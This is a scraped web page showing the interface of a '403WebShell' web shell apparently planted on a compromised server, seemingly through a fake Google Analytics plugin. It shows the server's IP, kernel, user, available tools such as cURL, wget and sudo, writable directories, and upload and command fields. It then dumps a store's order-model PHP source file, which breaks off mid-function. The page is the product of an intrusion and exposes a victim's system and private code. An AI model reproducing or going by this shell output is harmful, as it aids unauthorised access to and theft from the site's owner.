Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/kjvdictionary_store/modules/store/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kjvdictionary_store/modules/store/model/order_model.php
<?php
// Create an order from session 
// 

use \Pelago\Emogrifier\CssInliner;

class StoreOrder_model extends Database_Model {

	private $model_address;
	private $order_id;
	private $ordernum;
	private $date;
	private $id_user;
	private $status;
	private $paymeth;
	private $test;
	private $cancelrequest;
	private $name;
	private $email;
	private $country;
	private $postcode;
	private $ipaddress;
	private $freight;
	private $HEADER;		// header
	private $DATA;			// items
	private $default_address;
	private $total_weight;
	private $has_lithium;
	private $has_physical;
	private $_delivery;
	private $_freight;
	private $_extras;			// coupons.  Urgent charges, delivery fees are in the order details
	private $company_name;
	private $est_ship;
	private $est_delivery;
	private $hostname;
	private $orderstatus;
	private $cancelreason;
	private $refund;
	private $changed;			// fields that have changed
	private $editdate;
	private $printdate;
	
	const WEASEL = '/usr/local/bin/weasyprint';

	public function __construct() {
		parent::__construct();
		$this->DATA = [];
		$this->default_address = '';
		$settings = $this->SettingGet('config.module_info', NULL);
		$this->company_name = $settings['companyname'];
	}

	public function ModelAddress() {
		if (func_num_args()) {
			$this->model_address = func_get_arg(0);
			return $this;
		}
		return $this->model_address;
	}
	
	public function Clear() {
		$this->order_id = FALSE;
		return $this;
	}

	public function HostName() {
		if (func_num_args()) {
			$this->hostname = func_get_arg(0);
			return $this;
		}
		return $this->hostname;
	}

	public function DefaultAddress() {
		if (func_num_args()) {
			$this->default_address = func_get_arg(0);
			return $this;
		}
		return $this->default_address;
	}

	// do we have the order session variable?  
	// if not, create a new order
	// update the order from the session cart
	public function initializeOrder($user_id, $ip_address) {
		// create new order record if it doesn't exist
		$this->order_id = -1;
		if (!array_key_exists('order', $_SESSION)) {		// create blank order
			$payload = [			// only set on new record
				'so_useragent'	=> $_SERVER['HTTP_USER_AGENT'] ?? '-',
				'so_ipaddress'	=> $ip_address,
				'so_status'		=> 'draft',
				'so_delivery'	=> '',
			];
			// allow optional modules to update payload
			$payload = hook_execute('order.initialize', $payload, $user_id, $ip_address);
		
			$data = $this->TableName('store_order')
				->Autoinc('so_order')
				->InsertOrUpdate([
					'so_order' 		=> NULL,
				],[
					'so_date' 		=> time(),
					'so_user_id'	=> $user_id,
				],$payload
			);
			$order_id = $data->so_order;
			$_SESSION['order'] = $order_id;
		} else {
			$order_id = $_SESSION['order'];
		}

		$this->OrderId($order_id);	// load order
//		if (isset($_SESSION['store_cart']) && !empty($_SESSION['store_changed']) && $this->status == 'draft' ) {
		if (isset($_SESSION['store_cart']) && $this->status == 'draft' ) {
			$this->updateOrderFromCart($_SESSION['store_cart']);
			$_SESSION['store_changed'] = 0;
		}
		return $order_id;
	}

	public function OrderId() {
		if (func_num_args()) {
			$old_id = $this->order_id;
			$this->order_id = func_get_arg(0);
			if ($old_id != $this->order_id) {
				$this->Load();
			}
			return $this;
		}
		return $this->order_id;
	}

	public function OrderNumber() {
		if (func_num_args()) {
			$old_id = $this->ordernum;
			$this->ordernum = func_get_arg(0);
			if ($old_id != $this->ordernum) {
				$this->Load($this->ordernum);
			}
			return $this;
		}
		return $this->ordernum;
	}

	public function Date() {
		if (func_num_args()) {
			$this->date = func_get_arg(0);
			$this->changed['so_date'] = $this->date;
			return $this;
		}
		return $this->date;
	}
	public function UserId() {
		if (func_num_args()) {
			$this->id_user = func_get_arg(0);
			$this->changed['so_user_id'] = $this->id_user;
			return $this;
		}
		return $this->id_user;
	}
	public function Status() {
		if (func_num_args()) {
			// draft / paypal / paid / confirmed / packed / shipped / invoiced / complete / "canceled"
			$this->status = func_get_arg(0);
			$this->changed['so_status'] = $this->status;
			return $this;
		}
		$status = $this->status;
		if ($status == 'confirmed' && (int) $this->cancelrequest) {
			$status = 'cancelreq';
		}
		return $status;
	}
	public function OrderStatus() {
		if (func_num_args()) {
			$this->orderstatus = func_get_arg(0);
			$this->changed['so_orderstatus'] = $this->orderstatus;
			return $this;
		}
		return $this->orderstatus;
	}
	public function PayMeth() {
		if (func_num_args()) {
			$this->paymeth = func_get_arg(0);
			$this->changed['so_paymeth'] = $this->paymeth;
			return $this;
		}
		return $this->paymeth;
	}
	
	public function Name() {
		if (func_num_args()) {
			$this->name = func_get_arg(0);
			$this->changed['so_name'] = $this->name;
			return $this;
		}
		return $this->name;
	}
	public function Email() {
		if (func_num_args()) {
			$this->email = func_get_arg(0);
			$this->changed['so_email'] = $this->email;
			return $this;
		}
		return $this->email;
	}
	public function Country() {
		if (func_num_args()) {
			$this->country = func_get_arg(0);
			$this->changed['so_country'] = $this->country;
			return $this;
		}
		return $this->country;
	}
	public function Postcode() {
		if (func_num_args()) {
			$this->postcode = func_get_arg(0);
			$this->changed['so_postcode'] = $this->postcode;
			return $this;
		}
		return $this->postcode;
	}
	public function Delivery() {
		if (func_num_args()) {
			$this->delivery = func_get_arg(0);
			$this->changed['so_delivery'] = $this->delivery;
			return $this;
		}
		if (empty($this->delivery)) {
			$this->delivery = $this->default_address;
		}
		return $this->delivery;
	}
	public function Freight() {
		if (func_num_args()) {
			$this->freight = func_get_arg(0);
			$this->changed['so_freight'] = $this->freight;
			return $this;
		}
		return $this->freight;
	}
	public function Test() {
		if (func_num_args()) {
			$this->test = func_get_arg(0);
			$this->changed['so_test'] = $this->test;
			return $this;
		}
		return $this->test;
	}
	public function CancelRequest() {
		if (func_num_args()) {
			$this->cancelrequest = func_get_arg(0);
			$this->changed['so_cancelrequest'] = $this->cancelrequest;
			return $this;
		}
		return $this->cancelrequest;
	}
	
	public function Extras() {
		$c = func_num_args();
		if ($c == 1) {
			$key = strtolower(trim(func_get_arg(0)));
			return $this->_extras[$key] ?? FALSE;
		} elseif ($c == 2) {
			$key = strtolower(trim(func_get_arg(0)));
			$arg = func_get_arg(1);
			if (empty($arg)) {
				unset($this->_extras[$key]);
			} else {
				$this->_extras[$key] = func_get_arg(1);
			}
			$this->changed['so_extras'] = json_encode($this->_extras, JSON_UNESCAPED_SLASHES);
			return $this;
		}
		return $this->_extras;
	}
	
	public function EstimatedShip() {
		if (func_num_args()) {
			$this->est_ship = func_get_arg(0);
			$this->changed['so_est_ship'] = $this->est_ship;
			return $this;
		}
		return $this->est_ship;
	}
	public function EstimatedDelivery() {
		if (func_num_args()) {
			$this->est_delivery = func_get_arg(0);
			$this->changed['so_est_delivery'] = $this->est_delivery;
			return $this;
		}
		return $this->est_delivery;
	}
	public function CancelReason() {
		if (func_num_args()) {
			$this->cancelreason = func_get_arg(0);
			$this->changed['so_cancelreason'] = $this->cancelreason;
			return $this;
		}
		return $this->cancelreason;
	}
	public function Refund() {
		if (func_num_args()) {
			$this->refund = func_get_arg(0);
			$this->changed['so_refund'] = $this->refund;
			return $this;
		}
		return $this->refund;
	}
	public function EditDate() {
		if (func_num_args()) {
			$this->editdate = func_get_arg(0);
			$this->changed['so_edited'] = $this->editdate;
			return $this;
		}
		return $this->editdate;
	}

	public function PrintDate() {
		if (func_num_args()) {
			$this->printdate = func_get_arg(0);
			$this->changed['so_printed'] = $this->printdate;
			return $this;
		}
		return $this->printdate;
	}

	public function getPhysicalFlag() {
		return $this->has_physical;
	}
	
	public function LoadFromDataset($DATA, $order_id = 0) {
		if ($order_id) $this->order_id = $order_id;
		$this->HEADER		= $DATA;
		$this->date			= (int) ($DATA->so_date ?? '0');
		$this->id_user		= (int) ($DATA->so_user_id ?? '0');
		$this->test			= (int) ($DATA->so_test ?? '0');
		$this->cancelrequest= (int) ($DATA->so_cancelrequest ?? '0');
		$this->ordernum		= $DATA->so_ordernum ?? '';
		$this->status		= $DATA->so_status ?? 'draft';
		$this->paymeth		= $DATA->so_paymeth ?? '';
		$this->name			= $DATA->so_name ?? '';
		$this->email		= $DATA->so_email ?? '';
		$this->country		= $DATA->so_country ?? '';
		$this->postcode		= $DATA->so_postcode ?? '';
		$this->delivery		= $DATA->so_delivery ?? '';
		$this->freight		= $DATA->so_freight ?? '';
		$this->useragent	= $DATA->so_useragent ?? '';
		$this->ipaddress	= $DATA->so_ipaddress ?? '';
		$this->orderstatus	= $DATA->so_orderstatus ?? '';
		$this->cancelreason	= $DATA->so_cancelreason ?? '';
		$this->refund		= $DATA->so_refund ?? '';
		$this->edited		= intval($DATA->so_edited ?? 0);
		$this->printed		= intval($DATA->so_printed ?? 0);

		$this->est_ship		= (int) ($DATA->so_est_ship ?? '0');
		$this->est_delivery	= (int) ($DATA->so_est_delivery ?? '0');

		$this->_delivery	= empty($DATA->so_json) 		? [] : json_decode($DATA->so_json, TRUE);
		$this->_freight		= empty($DATA->so_freight_json) ? [] : json_decode($DATA->so_freight_json, TRUE);
		$this->_extras		= empty($DATA->so_extras) 		? [] : json_decode($DATA->so_extras, TRUE);
		$this->changed = [];
	}

	public function Load($ordernum = '') {
		if ($ordernum != '') {
			$DATA = $this->Query('select * from `store_order` left join `users` on so_user_id=user_id')
						->Where('so_ordernum=%s', $ordernum)
						->First();
			$this->LoadFromDataset($DATA, $DATA->so_order);
		} else {
			$DATA = $this->Query('select * from `store_order` left join `users` on so_user_id=user_id')
						->Where('so_order=%d', $this->order_id)
						->First();
			$this->LoadFromDataset($DATA);
		}
		$this->loadItems();
		return $this;
	}
	
	private function loadItems() {
		// load cart and items
		$this->DATA = $this->Query('select * from store_order_detail'.
								   ' left join store_product on sod_product=sp_id')
					->Where('sod_order=%d', $this->order_id)
					->Get();
		$this->total_weight = 0;
		$this->has_lithium = 0;
		$this->has_physical = 0;
		foreach($this->DATA as $data) {
			$physical = (int) $data->sod_usestock;
			if ($physical) {
				$this->has_physical++;
				$qty = (float) $data->sod_quantity;
				$this->total_weight += $qty * $data->sod_weight;
				$lithium = (int) $data->sod_lithium;
				if ($lithium > $this->has_lithium) {
					$this->has_lithium = $lithium;
				}
			}
		}
	}
	
	//get the cheapest freight option, set as in-memory values
	private function LoadFromDataset_getFreight($targetZip = '') {
		$info = $this->getFreightParameters($targetZip);
		$key = array_key_first($info->services);
		if (!is_null($key)) {
			$service = $info->services[$key];
			// get the state - get taxable status
			$service['taxable'] = Misc::TaxableShipping($info->sourceState) ? 1 : 0;
			$this->freight = $service['key'];
			$this->_freight = $service;
		}
	}

	public function AsHandleBars_Items() {
		$output = [];
		foreach($this->DATA as $item) {
			$output[] = $this->AsHandleBars_Item($item);
		}
		return $output;
	}
	
	public function AsHandleBars($full = FALSE) {
		$qty = $subtotal = $freight = 0;
		foreach($this->DATA as $index => $row) {
			$count = (int) $row->sod_quantity;
			$sell  = (float)$row->sod_sell;
			//$taxrate = (float)$row->sod_taxrate;
			$qty += $count;
			$subtotal += $count * $sell;
		}
		
		// add tax freight, but only if freight is required
		// _freight will be null if order is not loaded/exist
		if (is_array($this->_freight) && count($this->_freight) && $this->has_physical) {
			$freight = empty($this->_freight['cost']) ? 0 : $this->_freight['cost'];
		}
		
		[ $state, $country ] = Misc::ZipToState($this->postcode);
		$param = new \StdClass;
		$param->subtotal =  $subtotal;
		$param->freight  =  $freight;
		$param->taxrate	 =  0;
		$param->tax		 =  0;
		$param->postcode =  $this->postcode;
		$param->showtax  =  0;
		$param->taxable  =  Misc::TaxableShipping($state) ? 1 : 0;		// is freight taxable?
		
		hook_execute('tax.sales.calculate', $param);

		$suffix = ''; $prefix = $this->orderstatus;
		if (($p = strpos($prefix, "\t")) !== FALSE) {
			$suffix = substr($prefix, $p + 1);
			$prefix = substr($prefix, 0, $p);
		}
		$result = [
			'order_id'		=> $this->order_id,
			'ordernum'		=> $this->ordernum,
			'orderdate'		=> date('Y-m-d H:i', $this->date),
			'orderplaced'	=> date('l, F j, Y', $this->date),
			'status'		=> $this->status,
			'paymeth'		=> $this->paymeth,
			'itemcount'		=> $qty == 1 ? "$qty item" : "$qty items",
			'totalqty'		=> $qty,
			'subtotal'		=> sprintf('%0.2f', $subtotal),
			'freight'		=> $this->freight,
			'freightamt'	=> $freight,
			'freightcharge' => $freight ? '$' . sprintf('%0.2f', $freight) : '-',
			'tax'			=> $param->tax ? '$' . sprintf('%0.2f', $param->tax) : '-',
			'totalamt'		=> $subtotal + $freight + $param->tax,
			'total'			=> '$' . sprintf('%0.2f', $subtotal + $freight + $param->tax),
			'physical'		=> $this->has_physical,
			'postcode'		=> $this->postcode,
			'country'		=> $this->country,
			'taxable'		=> $param->taxable,
			'showtax'		=> $param->showtax,
			'taxrate'		=> $param->taxrate,
			'orderstatus'	=> $prefix,
			'ordersuffix'	=> $suffix,
			'flag_test'		=> $this->test ? 1 : 0,
			'flag_changed'	=> $this->edited > $this->printed && $this->printed > 0 ? 1 : 0,
			'extras'		=> [],					// extra discounts/charges/fees/			array of [ Description, amount, taxrate, [display amount] ]
			'name_first'	=> $this->HEADER->name_first ?? '',
			'name_last'		=> $this->HEADER->name_last ?? '',
		];
		if ($full) $result['cart'] = $this->AsHandleBars_Items();
		$result = hook_execute('order.array', $result, $this->HEADER);							// add fields from optional modules
		// process extras: format amount
		$xsubtotal = $subtotal;
		$extras = [];
		foreach($this->_extras as $key => $extra) {
			$neg = $extra['amt'] < 0; 
			$node = [ 'desc' => $extra['desc'], 'type' => $key ];
			$node['display'] = '$' . sprintf('%0.2f', abs($extra['amt']));
			if ($neg) $node['display'] = '-' . $node['display'];
			$xsubtotal += $extra['amt'];
			$extras[] = $node;
			
		}
		$result['extras'] = $extras; 
		$result['totalamt'] = $xsubtotal + $freight + $param->tax;
		$result['total'] =  '$' . sprintf('%0.2f', $result['totalamt']);
		// recalculate total
		// tax should also be recalculated
		return $result;
	}
	
	private function updateOrderFromCart($cart) {		// this is the new cart
		// get sell-price and description for each cart item
		$product = array_column($cart, 'product');
		$rows = $this->Query('select sp_id,sp_product,sp_price,sp_weight,sp_lithium,sp_usestock,sp_category from store_product')
					->WhereIn('sp_id', $product)
					->Get();
		$lookup = [];
		foreach($rows as $row) {
			$lookup[$row->sp_id] = $row;
		}
		unset($row);
		$NEW_CART = [];
		foreach($cart as $index => &$cartitem) {
			$product_id = $cartitem['product'];
			$custom_id = $cartitem['custom'] ?? '';
			$cartitem['desc'] = $lookup[$product_id]->sp_product;
			$cartitem['price'] = (float) $lookup[$product_id]->sp_price;
			$cartitem['weight'] = (float) $lookup[$product_id]->sp_weight;
			$cartitem['physical'] = (int) $lookup[$product_id]->sp_usestock;
			$cartitem['lithium'] = (int) $lookup[$product_id]->sp_lithium;
			$cartitem['category'] = (int) $lookup[$product_id]->sp_category;
			$NEW_CART["$product_id:$custom_id"] = $index;
		}
		
		$OLD_CART = [];
		foreach($this->DATA as $index => $row) {
			$product_id = $row->sod_product;
			$custom_id = $row->sod_customization;
			$OLD_CART["$product_id:$custom_id"] = $index;
		}
		
		// update order with items from session cart (if session cart exists)
		$this->Tablename('store_order_detail');
		$changed = FALSE;

		$cart = hook_execute('cart.recalculate', $cart);

		// update existing items
		foreach($NEW_CART as $product_key => $index) {
			$new_qty = $cart[$index]['count'];
			$new_sell = $cart[$index]['price'];
			$new_weight = $cart[$index]['weight'];
			$new_physical = $cart[$index]['physical'];
			$new_customization = $cart[$index]['custom'] ?? '';
//			if (empty($cart[$index]['discount_applied']) && $new_physical && $new_qty >= 10) {
//				$new_sell = $cart[$index]['price'] * 5 / 6;
//			}

			$new_index = $OLD_CART[$product_key] ?? -1;
			if ($new_index >= 0) {
				$node = $this->DATA[$new_index];
				$old_qty		= (float) $node->sod_quantity;
				$old_sell		= $node->sod_sell;
				$old_weight		= $node->sod_weight;
				$old_physical	= (int) $node->sod_usestock;
				$old_customization = $node->sod_customization;
				if ($old_qty != $new_qty || $old_sell != $new_sell || $old_weight != $new_weight || $old_physical != $new_physical || $old_customization != $new_customization) {
					// update quantity, price and description
					$this->InsertOrUpdate([
						'sod_id' => $node->sod_id,
					],[
						'sod_quantity'		=> $new_qty,
						'sod_description'	=> $cart[$index]['desc'],
						'sod_sell'			=> $new_sell,
						'sod_weight'		=> $new_weight,
						'sod_usestock'		=> $new_physical,
						'sod_customization'	=> $new_customization
					]);
					$changed = TRUE;
					$this->DbErr();
				}
				unset($NEW_CART[$product_key]);
				unset($OLD_CART[$product_key]);
			}
		}

		// insert new items
		$this->Autoinc('sod_id');
		foreach($NEW_CART as $product_key => $index) {
			$node = $cart[$index];
			$data = $this->InsertOrUpdate([
				'sod_id' => NULL,
			],[
				'sod_order' 		=> $this->order_id,
				'sod_product'		=> $node['product'],
				'sod_quantity'		=> $node['count'],
				'sod_description'	=> $node['desc'],
				'sod_sell'			=> $node['price'],
				'sod_weight'		=> $node['weight'],
				'sod_usestock'		=> $node['physical'],
				'sod_lithium'		=> $node['lithium'],
				'sod_customization' => $node['custom'] ?? '',
			]);
			$changed = TRUE;
			$this->DbErr();
		}
		// delete old items
		foreach($OLD_CART as $product_key => $index) {
			$node = $this->DATA[$index];
			$this->Delete(['sod_id' => $node->sod_id]);
			$changed = TRUE;
			$this->DbErr();
		}

		if ($changed) {
			$this->loadItems();
		}
		
		hook_execute('order.fromcart', FALSE, $this->order_id, $this->AsHandleBars_Items() );
	}
	
	private function _buildDefaultDetail_physical(&$data) {
		// $data = order fields to be updated in the database
		
		// get addressess
		$id = $this->model_address->UserId();
		$addresses = $this->model_address->asHandleBars();
		$guid = [];
		foreach($addresses['list_address'] as $index => $item) {
			$guid[$item['guid']] = $index;
		}
		if (!count($guid)) return;		// no addresses entered
		
		// select an address 
		if ($this->default_address != '' && isset($guid[$this->default_address])) {
			$address_record = $addresses['list_address'][$guid[$this->default_address]];
		} else {
			// (TO DO: this should be the latest entry)
			$address_record = $addresses['list_address'][0];
		}

		if (empty($this->delivery)) {
			$this->delivery = $data['so_delivery'] = $address_record['guid'];
		}
		
		if (empty($this->postcode)) {
			$this->postcode = $data['so_postcode'] = $address_record['zip'];
		}

		// set default freight based on default address
		if (empty($this->freight)) {
			$this->LoadFromDataset_getFreight($this->postcode);
			$data['so_freight'] = $this->freight;
			$data['so_freight_json'] = json_encode($this->_freight, JSON_UNESCAPED_SLASHES);
		}

	}
	
	public function Update() {
		if (count($this->changed)) {
			$this->Tablename('store_order')
				 ->InsertOrUpdate(['so_order' => $this->order_id], $this->changed);
			$this->DbErr();
			$this->changed = [];
		}
		return $this;
	}
	
	public function updateOrderAccount(&$res, $u_id, $name, $email) {
		$data = [];
		if ($u_id) $data['so_user_id'] = $u_id;
		if ($this->name == '')		$this->name = $data['so_name'] = $name;
		if ($this->email == '')		$this->email = $data['so_email'] = $email;
		
		if ($this->has_physical && is_object($this->model_address)) {
			$this->_buildDefaultDetail_physical($data);
		}
//		

		if (count($data)) {
			$this->Tablename('store_order')
				 ->InsertOrUpdate(['so_order' => $this->order_id], $data);
			$this->DbErr();
		}
		$res['ac_name']  = $this->name;
		$res['ac_email'] = $this->email;
		$res['default']  = $this->delivery;
	}
	
	public function updateOrderDelivery($json) {
		$data = [
			'so_delivery'	=> $json['guid'],
			'so_postcode'	=> $json['zip'] ?? '',
			'so_json'		=> json_encode($json, JSON_UNESCAPED_SLASHES),
		];
	
		$this->Tablename('store_order')
			 ->InsertOrUpdate(['so_order' => $this->order_id], $data);
		$this->DbErr();
		$this->_freight = $json;
		$this->postcode = $data['so_postcode'];
		$this->delivery = $json['guid'];
		$this->updateOrderFreight($this->freight);
	}
	
	public function getFreightParameters($targetZip = '') {			// Use SESSION cookie
		// get source zip code
		$settings = $GLOBALS['loader']->LoadModuleSettings(__DIR__);
		
		// get target zip code from delivery, if present
		$info = new StdClass;
		$info->originZip	= $settings['originzip'];
		$info->sourceState	= Misc::ZipToState_US($info->originZip);
		$info->timezone		= $settings['origintz'];

		if ($targetZip != '') {
			$info->targetZip = $targetZip;
			[$info->targetState, $info->targetCtry] = \Misc::ZipToState($info->targetZip);
		} elseif (!is_null($this->model_address)) {
			$delivery = $this->Delivery();
			$info->targetZip = $this->model_address->getZIPcode($delivery);
			[$info->targetState, $info->targetCtry] = \Misc::ZipToState($info->targetZip);
		} else {
			$info->targetZip = 
			$info->targetState = 
			$info->targetCtry = '';
		}

		// get target from user
		$info->weight	= $this->total_weight;			// weight is in g
		$info->lithium	= $this->has_lithium;			// lithium battery is hazardous material: cannot go by passenger plane
		
		// determine shipping Date - if we do not have two hours left in the day, move onto next business day
		$shipdate = time() + 86400;
		$info->shipdate = hook_execute('day.next', $shipdate, $info->timezone);		
		
		// package dimensions
		$info->output 	 = [];
		if (!empty($info->targetZip)) {
			$key = "{$info->originZip}:{$info->targetZip}:{$info->weight}";
			if (!isset($_SESSION['freight'][$key]) || true) {
			// do we have the freight options for this combination?
				$info = hook_execute('freight.calculate', $info);
				usort($info->services, function($a, $b) {
					return ($a['cost'] ?? 0) - ($b['cost'] ?? 0);
				});
				$_SESSION['freight'][$key] = $info->services;
			} else {
				$info->services = $_SESSION['freight'][$key];
			}
		} else {
			$info->services = [];
		}
		return $info;
	}


	public function AsHandleBars_Freight($res = []) {
		$info = $this->getFreightParameters();
		if (!empty($res['freight'])) {	// if freight refers to missing service, drop it
			if (!in_array($res['freight'], array_column($info->services, 'key'))) {
				$res['freight'] = NULL;
			}
		}

		$first = FALSE;
		$freight = [];
		foreach($info->services as $service) {
			$freight[] = [
				'key'		=> $service['key'],
				'caption'	=> $service['caption'],
				'cost'		=> '$' . sprintf('%0.2f', $service['cost']),
			];
			if ($first === FALSE) $first = $service['key'];
		}
		if (empty($res['freight']) && $first) $res['freight'] = $first;
		$res['service'] = $freight;
		return $res;
	}

	public function updateOrderFreight($freight, $postcode = '', $country = '') {
		if ($freight == '') {
			return [
				'result' => 51065,
				'message' => 'Please select freight option.',
			];
		}
		// get the deets
		$info = $this->getFreightParameters($postcode);
		$current = NULL;
		foreach($info->services as $service) {
			if ($service['key'] == $freight) {
				$current = $service;
				break;
			}
		}
		
		$data = [
			'so_freight' => $freight,
		];
		if (!empty($postcode)) {			// supplied by payment processor
			$data['so_postcode'] = $postcode;
			if (!empty($country)) $data['so_country'] = $country;
		}
		if (!is_null($current)) {
			// get the state - get taxable status
			$current['taxable'] = Misc::TaxableShipping($info->sourceState) ? 1 : 0;
			$this->_freight = $current;
			$data['so_freight_json'] = json_encode($this->_freight, JSON_UNESCAPED_SLASHES);
		}
//		error_log("Updating order {$this->order_id}: " . json_encode($data, JSON_UNESCAPED_SLASHES));
		$this->TableName('store_order')
			->InsertOrUpdate( ['so_order' => $this->order_id], $data );
		$this->freight = $freight;
		$this->DbErr();
		return TRUE;
	}
	
	static
	public function toSlug($name) {
		$name = strtolower($name);
		$name = trim(preg_replace('/[^[:alnum:][:space:]]/u', ' ', $name));
		return preg_replace('~\s+~', '-', $name);
	}
	
	
	function AsHandleBars_Item($data) {
		return [
			'id'		=> (int) $data->sod_id,
			'product'	=> (int) $data->sod_product,
			'quantity'	=> (float) $data->sod_quantity,
			'sell'		=> $data->sod_sell,
			'desc'		=> $data->sod_description,
			'weight'	=> (float) $data->sod_weight,
			'physical'	=> (int) $data->sod_usestock,
			'total'		=> '$' . sprintf('%0.2f', $data->sod_quantity * $data->sod_sell),
			'tax'		=> $data->sod_quantity * $data->sod_sell * $data->sod_taxrate / 100,
			'custom'	=> empty($data->sod_customization) ? NULL : $data->sod_customization,
			'uri'		=> '/' . static::toSlug($data->sod_description) . '/p/' . $data->sod_product,
			'category'	=> (int) $data->sp_category,
			'sku'		=> $data->sp_sku,
			'model'		=> $data->sp_model,
		];
	}
	
	// digital orders
	public function setUserInfo($user_id, $name, $email) {
		$data = [];
		$data['so_user_id'] = $user_id;			// will normally be 0
		$data['so_name'] = $name;
		$data['so_email'] = $email;
		$this->TableName('store_order')
			->InsertOrUpdate(['so_order' => $this->order_id], $data);
		$this->DbErr();
	}
	
	// an account is not created when using Stripe, so do that now
	// paypal:  account is created by this point
	private function createAccount() {
		// locate account under that email
		$row = $this->Query('select user_id from `users`')
					->Where('primary_email=%s', $this->email)
					->First();
		// if found, return id
		if (!is_null($row) && !$row->empty()) {
			return (int) $row->user_id;			// don't automatically login
		}
		
		$params = new \StdClass;
		$params->user_id = 0;
		$params->level = 1;
		$params->email = $this->email;
		$params->source = 'internal';
		$params->source_id = md5(strtolower($this->email));
		$params->verified = 0;
		$params->name = $this->name;
		$params->picture = '';
		$user_info = hook_execute('login.create', NULL, $params);
		// and we need to log in
		hook_execute('login', 0, $user_info);
		$this->id_user = $user_info->user_id ?? $user_info->us_user_id;
		return $this->id_user;
		
	}
	
	public function updateorder($param) {
		$data = [];
		if (property_exists($param, 'user_id')) {
			$this->id_user = $param->user_id;
			$this->name = trim($param->name_first . ' ' .$param->name_last);
			$this->email = $param->email[0] == '#' ? substr($param->email, 1) : $param->email;
			$data['so_user_id'] = $this->id_user;
			$data['so_name'] = $this->name;
			$data['so_email'] = $this->email;
		} elseif (!$this->id_user) {			// create an account for this order
			$data['so_user_id'] = $this->createAccount();		// this will also log the user in
		}
		if (property_exists($param, 'test')) {
			$this->test = $data['so_test'] = $param->test;
		}
		if (property_exists($param, 'status')) {
			$this->status = $data['so_status'] = $param->status;
		}
		if (property_exists($param, 'paymeth')) {
			$this->paymeth = $data['so_paymeth'] = $param->paymeth;
		}
		if (property_exists($param, 'address')) {
			if (is_string($param->address)) {		// our existing address guid
				$address_guid = $param->address;
				$item = new AddressClass;
				$item->Guid($address_guid);
				$this->delivery = $address_guid;
				$this->_delivery = $item->asJson($address_guid);
				
			} else {			// address array specified
				$address_guid = $this->model_address
									->UserId($this->id_user)
									->buildAddress($param->address);
				$this->delivery = $address_guid;
				$this->_delivery = $this->model_address->asJson($address_guid);
			}
			$data['so_postcode'] = $this->_delivery['zip'];
			$data['so_delivery'] = $this->delivery;
			$data['so_json']	 = json_encode($this->_delivery, JSON_UNESCAPED_SLASHES);
			// freight
			$info = $this->_freight;
			if (isset($info['shipdate'])) {
				$data['so_est_ship'] = $info['shipdate'];
				$data['so_est_delivery'] = $info['estimate'];
			}
		}
		if (count($data)) {
			$this->TableName('store_order')
				->InsertOrUpdate(['so_order' => $this->order_id], $data);
			$this->DbErr();
		}
	}
	
	// generate and send email
	private function _sendemail($override, $email, $refresh = FALSE, $replyto = FALSE) {
	// get the order
		$info = $this->getFreightParameters();
		$freight_id = $this->Freight();
		$first = [];
		foreach($info->services as $service) {
			if ($service['key'] == $freight_id) {
				$first = $service;
				break;
			}
		}
	
		$data = $this->AsHandleBars(TRUE);
		$data['imagesize'] = 160;
		$data = hook_execute('cart.display', $data, 'email');

		// add primary image
		$data['freight'] = $first;
		$data['orderid'] = $this->order_id;
		$data['ordernum'] = $this->ordernum;
		$data['date'] = date('F j, Y', $this->date);
		$data['companyname'] = $this->company_name;
		$data['hostname'] = $this->hostname;
		
		// first tracking

		if ($this->has_physical) {
			$data['address'] = $this->_delivery;
		}
		
		if ($refresh) {
			echo "Data for order email:\n";
			var_dump($data);
			return;
		}
		
		$m = new \mailobject();
		// add images
		foreach($data['cart'] as &$item) {
			$item['sell'] = '$' . sprintf('%0.2f', $item['sell']);
			list($header,$image) = explode(',', $item['thumb']);
			$image = base64_decode($image);
			$item['thumb'] = $m->addInlineImage($image, 'image_' . $item['product']);
		}
		unset($item);
		
		$data = array_merge($data, $override);
		$templatename = $data['template'];
		
		$automated_sender = $this->getSender($replyto);
		
		$m->template('store::' . $templatename)			// template is converted to html using cms module
			->to($email)
			->from($automated_sender)
			->data($data);
		if ($replyto) $m->ReplyTo($replyto);
		$sendresult = $m->Send();

		$result = [];
		if (is_string($sendresult)) {
			$result['result'] = 1770;
			$result['message'] = $sendresult;
		} else {
			$result['debug'] = $sendresult;
		}
		return $result;
	}

	// use the stored json address
	public function asJson_Delivery() {
		$result = $this->_delivery;
		return $result;
	}

	function asJson_Freight() {
		return $this->_freight;
	}

	public function getSender($replyto = '') {
		if ($replyto == '') {
			$settings = $this->SettingGet('config.module_info', NULL);
			$replyto = $settings['replyto'];
		}
		$settings = $GLOBALS['loader']->LoadModuleSettings('pkpCore');
		$automated_sender = $settings['automated_sender'] ?? '';
		if (empty($automated_sender)) $automated_sender = $replyto;
		return $automated_sender;
	}


	private function _generateOrderNumber() {
		[ $yy, $mm ] = explode(',', gmdate('Y,n'));
		$prefix = sprintf('%03d', $yy * 12 + $mm - 24290);
		for($i = 0; $i < 16; $i++) {
			$hash = '';
			for($j = 0; $j < 4; $j++) {
				$x = random_bytes(1);
				$x = unpack('C1a', $x);
				$x = $x['a'] % 100;
				$hash .= sprintf('%02d', $x);
			}
			$ordernum = $prefix . '-' . $hash;
			
			$row = $this->Query('select so_order from store_order')
						->Where('so_ordernum=%s', $ordernum)
						->First();
			if ($row->empty()) {
				return $ordernum;
			}
		}
		// this should never happen
	}

	// when an order is confirmed, digital orders are charged, and an email sent.
	// 
	public function orderConfirm($refresh = FALSE) {
